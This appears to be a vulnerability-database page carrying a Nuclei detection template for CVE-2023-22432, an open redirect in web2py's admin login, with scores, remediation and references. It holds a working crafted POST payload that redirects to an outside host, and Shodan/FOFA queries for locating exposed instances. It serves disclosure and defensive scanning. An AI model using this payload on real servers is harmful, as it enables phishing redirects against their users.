Web2py URL - Open Redirect

2023-09-2709:08:24

ProjectDiscovery

github.com

cve

web2py

redirect

authenticated

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

AI Score

6.1

Confidence

High

EPSS

0.003

Percentile

66.2%

JSON

Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.

id: CVE-2023-22432

info:
  name: Web2py URL - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
  remediation: |
    Update to web2py 2.23.1 or higher.
  reference:
    - https://github.com/aeyesec/CVE-2023-22432
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22432
    - https://jvn.jp/en/jp/JVN78253670/
    - http://web2py.com/
    - http://web2py.com/init/default/download
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-22432
    cwe-id: CWE-601
    epss-score: 0.00945
    epss-percentile: 0.83107
    cpe: cpe:2.3:a:web2py:web2py:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: web2py
    product: web2py
    shodan-query: http.favicon.hash:-1680052984
    fofa-query: icon_hash=-1680052984
  tags: cve,cve2023,web2py,redirect,authenticated

http:
  - raw:
      - |
        POST /admin/default/index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        password={{password}}&send=%5C%2F%5C%2Foast.pro&login=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'a href="\/\/oast.pro"'

      - type: word
        part: location
        words:
          - '\/\/oast.pro'

      - type: status
        status:
          - 303
# digest: 490a0046304402201e32d205cdc41979a8510ec3c5491b73e578f35e1f2c728a0834360098b8c21502203fc65ab87a9ec06204ed5ee8392f6a8063e68afa34cdd393f968fe8081616137:922c64590222798bb761d5b6d8e72950